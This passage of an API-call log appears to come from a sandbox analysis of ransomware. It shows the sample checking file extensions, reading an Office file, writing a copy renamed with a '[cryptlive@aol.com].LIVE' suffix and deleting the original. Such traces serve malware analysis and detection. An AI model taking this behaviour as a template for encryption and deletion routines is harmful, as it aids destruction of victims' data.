5 [0137.810] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0137.810] lstrlenW (lpString=".pdf") returned 4 [0137.810] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.810] lstrlenW (lpString=".xls") returned 4 [0137.810] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.810] lstrlenW (lpString=".xlsx") returned 5 [0137.810] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0137.810] lstrlenW (lpString=".ppt") returned 4 [0137.810] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.810] lstrlenW (lpString=".zip") returned 4 [0137.811] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.811] lstrlenW (lpString=".rar") returned 4 [0137.811] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.811] lstrlenW (lpString=".bz2") returned 4 [0137.811] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.811] lstrlenW (lpString=".7z") returned 3 [0137.811] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.811] lstrlenW (lpString=".dbf") returned 4 [0137.811] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.811] lstrlenW (lpString=".1cd") returned 4 [0137.811] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.811] lstrlenW (lpString=".jpg") returned 4 [0137.811] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.811] lstrlenW (lpString=".doc") returned 4 [0137.811] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0137.811] lstrlenW (lpString=".docx") returned 5 [0137.811] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0137.811] lstrlenW (lpString=".pdf") returned 4 [0137.811] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0137.811] lstrlenW (lpString=".xls") returned 4 [0137.811] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0137.811] lstrlenW (lpString=".xlsx") returned 5 [0137.811] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0137.811] lstrlenW (lpString=".ppt") returned 4 [0137.811] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0137.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.811] lstrlenW (lpString=".zip") returned 4 [0137.811] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0137.811] lstrlenW (lpString=".rar") returned 4 [0137.811] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0137.811] lstrlenW (lpString=".bz2") returned 4 [0137.812] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0137.812] lstrlenW (lpString=".7z") returned 3 [0137.812] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0137.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.812] lstrlenW (lpString=".dbf") returned 4 [0137.812] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0137.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.812] lstrlenW (lpString=".1cd") returned 4 [0137.812] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0137.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0137.812] lstrlenW (lpString=".jpg") returned 4 [0137.812] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0137.812] lstrcmpiW (lpString1=".ACC", lpString2=".LIVE") returned -1 [0137.812] lstrlenW (lpString="ACCESS12.ACC") returned 12 [0137.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.812] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=495616) returned 1 [0137.812] CloseHandle (hObject=0x39c) returned 1 [0137.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 0x20 [0137.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.813] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.813] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0139.429] GetLastError () returned 0x0 [0139.429] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x79000, lpOverlapped=0x0) returned 1 [0139.440] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x79010, lpOverlapped=0x0) returned 1 [0139.449] ReadFile (in: hFile=0x39c, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.449] WriteFile (in: hFile=0x3a0, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.449] SetEndOfFile (hFile=0x3a0) returned 1 [0139.449] CloseHandle (hObject=0x3a0) returned 1 [0139.449] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.449] SetEndOfFile (hFile=0x39c) returned 1 [0139.461] CloseHandle (hObject=0x39c) returned 1 [0139.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 1 [0139.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.462] lstrlenW (lpString=".doc") returned 4 [0139.462] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0139.462] lstrlenW (lpString=".docx") returned 5 [0139.462] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0139.462] lstrlenW (lpString=".pdf") returned 4 [0139.462] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1 [0139.462] lstrlenW (lpString=".xls") returned 4 [0139.462] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1 [0139.462] lstrlenW (lpString=".xlsx") returned 5 [0139.462] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1 [0139.462] lstrlenW (lpString=".ppt") returned 4 [0139.462] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1 [0139.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.462] lstrlenW (lpString=".zip") returned 4 [0139.462] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1 [0139.462] lstrlenW (lpString=".rar") returned 4 [0139.462] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1 [0139.462] lstrlenW (lpString=".bz2") returned 4 [0139.462] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0139.462] lstrlenW (lpString=".7z") returned 3 [0139.462] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0139.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.462] lstrlenW (lpString=".dbf") returned 4 [0139.462] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0139.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.462] lstrlenW (lpString=".1cd") returned 4 [0139.462] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0139.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.462] lstrlenW (lpString=".jpg") returned 4 [0139.462] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0139.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.463] lstrlenW (lpString=".doc") returned 4 [0139.463] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0139.463] lstrlenW (lpString=".docx") returned 5 [0139.463] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0139.463] lstrlenW (lpString=".pdf") returned 4 [0139.463] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1 [0139.463] lstrlenW (lpString=".xls") returned 4 [0139.463] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1 [0139.463] lstrlenW (lpString=".xlsx") returned 5 [0139.463] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1 [0139.463] lstrlenW (lpString=".ppt") returned 4 [0139.463] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1 [0139.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.463] lstrlenW (lpString=".zip") returned 4 [0139.463] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1 [0139.463] lstrlenW (lpString=".rar") returned 4 [0139.463] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1 [0139.463] lstrlenW (lpString=".bz2") returned 4 [0139.463] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0139.463] lstrlenW (lpString=".7z") returned 3 [0139.463] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0139.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.463] lstrlenW (lpString=".dbf") returned 4 [0139.463] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0139.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.463] lstrlenW (lpString=".1cd") returned 4 [0139.463] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0139.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0139.463] lstrlenW (lpString=".jpg") returned 4 [0139.463] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0139.463] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0139.463] lstrlenW (lpString="CERTINTL.DLL") returned 12 [0139.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0139.464] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=12176) returned 1 [0139.464] CloseHandle (hObject=0x39c) returned 1 [0139.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll")) returned 0x20 [0139.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.464] lstrlenW (lpString=".doc") returned 4 [0139.465] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.465] lstrlenW (lpString=".docx") returned 5 [0139.465] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0139.465] lstrlenW (lpString=".pdf") returned 4 [0139.465] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.465] lstrlenW (lpString=".xls") returned 4 [0139.465] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.465] lstrlenW (lpString=".xlsx") returned 5 [0139.465] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0139.465] lstrlenW (lpString=".ppt") returned 4 [0139.465] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.465] lstrlenW (lpString=".zip") returned 4 [0139.465] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.465] lstrlenW (lpString=".rar") returned 4 [0139.465] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.465] lstrlenW (lpString=".bz2") returned 4 [0139.465] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.465] lstrlenW (lpString=".7z") returned 3 [0139.465] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.465] lstrlenW (lpString=".dbf") returned 4 [0139.465] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.465] lstrlenW (lpString=".1cd") returned 4 [0139.465] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.465] lstrlenW (lpString=".jpg") returned 4 [0139.465] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.465] lstrlenW (lpString=".doc") returned 4 [0139.465] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.465] lstrlenW (lpString=".docx") returned 5 [0139.465] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0139.465] lstrlenW (lpString=".pdf") returned 4 [0139.466] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.466] lstrlenW (lpString=".xls") returned 4 [0139.466] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.466] lstrlenW (lpString=".xlsx") returned 5 [0139.466] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0139.466] lstrlenW (lpString=".ppt") returned 4 [0139.466] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.466] lstrlenW (lpString=".zip") returned 4 [0139.466] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.466] lstrlenW (lpString=".rar") returned 4 [0139.466] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.466] lstrlenW (lpString=".bz2") returned 4 [0139.466] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.466] lstrlenW (lpString=".7z") returned 3 [0139.466] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.466] lstrlenW (lpString=".dbf") returned 4 [0139.466] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.466] lstrlenW (lpString=".1cd") returned 4 [0139.466] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL") returned 60 [0139.466] lstrlenW (lpString=".jpg") returned 4 [0139.466] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.466] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0139.466] lstrlenW (lpString="CLVWINTL.DLL") returned 12 [0139.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0139.467] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=19880) returned 1 [0139.467] CloseHandle (hObject=0x39c) returned 1 [0139.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll")) returned 0x20 [0139.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.467] lstrlenW (lpString=".doc") returned 4 [0139.467] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.467] lstrlenW (lpString=".docx") returned 5 [0139.467] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0139.467] lstrlenW (lpString=".pdf") returned 4 [0139.467] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.467] lstrlenW (lpString=".xls") returned 4 [0139.467] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.467] lstrlenW (lpString=".xlsx") returned 5 [0139.468] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0139.468] lstrlenW (lpString=".ppt") returned 4 [0139.468] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.468] lstrlenW (lpString=".zip") returned 4 [0139.468] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.468] lstrlenW (lpString=".rar") returned 4 [0139.468] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.468] lstrlenW (lpString=".bz2") returned 4 [0139.468] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.468] lstrlenW (lpString=".7z") returned 3 [0139.468] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.468] lstrlenW (lpString=".dbf") returned 4 [0139.468] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.468] lstrlenW (lpString=".1cd") returned 4 [0139.468] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.468] lstrlenW (lpString=".jpg") returned 4 [0139.468] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.468] lstrlenW (lpString=".doc") returned 4 [0139.468] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.468] lstrlenW (lpString=".docx") returned 5 [0139.468] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0139.468] lstrlenW (lpString=".pdf") returned 4 [0139.468] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.468] lstrlenW (lpString=".xls") returned 4 [0139.468] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.468] lstrlenW (lpString=".xlsx") returned 5 [0139.468] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0139.468] lstrlenW (lpString=".ppt") returned 4 [0139.468] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.469] lstrlenW (lpString=".zip") returned 4 [0139.469] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.469] lstrlenW (lpString=".rar") returned 4 [0139.469] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0139.469] lstrlenW (lpString=".bz2") returned 4 [0139.469] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0139.469] lstrlenW (lpString=".7z") returned 3 [0139.469] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0139.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.469] lstrlenW (lpString=".dbf") returned 4 [0139.469] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0139.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.469] lstrlenW (lpString=".1cd") returned 4 [0139.469] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0139.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0139.469] lstrlenW (lpString=".jpg") returned 4 [0139.469] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0139.469] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0139.469] lstrlenW (lpString="CMAXRES.DLL") returned 11 [0139.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0139.636] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=35216) returned 1 [0139.636] CloseHandle (hObject=0x394) returned 1 [0139.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll")) returned 0x20 [0139.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0139.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.656] lstrlenW (lpString=".doc") returned 4 [0139.656] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0139.657] lstrlenW (lpString=".docx") returned 5 [0139.657] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0139.657] lstrlenW (lpString=".pdf") returned 4 [0139.657] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0139.657] lstrlenW (lpString=".xls") returned 4 [0139.657] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0139.657] lstrlenW (lpString=".xlsx") returned 5 [0139.657] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0139.657] lstrlenW (lpString=".ppt") returned 4 [0139.657] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0139.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0139.657] lstrlenW (lpString=".zip") returned 4 [0139.657] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0139.657] lstrlenW 